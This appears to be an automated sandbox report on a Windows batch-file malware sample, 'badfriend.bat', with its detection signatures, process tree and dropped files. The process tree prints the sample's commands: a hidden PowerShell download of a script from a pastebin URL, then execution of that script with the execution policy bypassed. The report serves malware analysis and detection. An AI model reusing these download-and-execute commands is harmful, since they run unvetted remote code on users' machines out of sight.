Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/04/2026, 20:02

General

  • Target
    badfriend.bat
  • Size 923B
  • Sample260424-ysbstsbt9n
  • SHA256 6ee027a1b72a6c19af3141b036cd2f66eabba79e0f87c85ddbe98ead6d397a44
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\badfriend.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4240
    • C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\badfriend.bat" h
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3784
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://pastebin.com/raw/xni3yjBp' -OutFile 'temp_script.ps1'"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5624
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "temp_script.ps1"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5508

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d6b5f748cf0e7ada6f9bd7b0a183b4ceb9894cfb242c27677a39fc663f672db6
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_uhukhddc.2xs.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uhukhddc.2xs.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        temp_script.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\temp_script.ps1
        • Size 90B
        • SHA256 e122d389705846a485c4f818363a6903cdb2ff43a493b0606daa664c3fb0c1b0
        • MD5 SHA1 SHA512 TLSH

        memory/5508-15-0x000001EF460E0000-0x000001EF460F0000-memory.dmp

        memory/5508-16-0x000001EF460E0000-0x000001EF460F0000-memory.dmp

        memory/5508-27-0x000001EF44480000-0x000001EF4448C000-memory.dmp

        memory/5508-28-0x000001EF5E290000-0x000001EF5E33D000-memory.dmp

        memory/5624-0-0x000002B7D7520000-0x000002B7D7530000-memory.dmp

        memory/5624-6-0x000002B7D74F0000-0x000002B7D7512000-memory.dmp

        memory/5624-12-0x000002B7BF180000-0x000002B7BF18C000-memory.dmp

        memory/5624-13-0x000002B7D7530000-0x000002B7D75DD000-memory.dmp